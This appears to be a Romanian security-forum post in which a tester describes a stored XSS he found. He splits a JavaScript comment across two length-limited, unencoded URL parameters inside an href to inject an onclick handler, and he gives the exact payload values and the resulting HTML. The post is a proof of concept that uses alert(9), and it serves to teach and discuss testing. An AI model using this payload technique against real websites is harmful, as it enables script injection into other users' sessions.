Jump to content
theeternalwanderer

Multi-Parameter Attribute-Based Stored XSS

Recommended Posts

Recent am testat o aplicatie web si am intalnit urmatoarea situatie:

  • doi parametri pe care ii puteam controla erau inclusi intr-un 'href'
  • parametrii respectivi aveau o lungime maxima destul de restrictiva, sa zicem 15 caractere
  • orice continea semnul mai mic (<, inclusiv variante Unicode gen full-length angle bracket) urmat de o litera iti termina sesiunea
  • caracterele speciale nu erau filtrate si nu se folosea HTML-encoding cand valorile respective erau folosite

 

Cam asa arata codul HTML:

<a href="https://mataigrasa.com/?param1=XXX&param2=YYY&someotherparamsgohere=whateverman">TROLOL</a>

Am folosit urmatoarele valori:

  • param1="onclick='/*
  • param2=*/alert(9)'x="

 

Atunci codul HTML devine:

<a href="https://mataigrasa.com/?param1="onclick='/*&param2=*/alert(9)'x="YYY&someotherparamsgohere=whateverman">TROLOL</a>

Param1 inchide atributul 'href' si defineste un 'onclick' in care incep un comment (/*). Param 2 inchide comentul (*/) si introduce codul JS care va fi executat de eventul 'onclick'. 

Comentariul este folosit ca sa scoata '&param2=' din ecuatie si sa permita concatenarea codului JS.

 

Alte idei/recomandari/sugestii sunt bine venite.

 

 

Edited by theeternalwanderer
  • Upvote 3
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...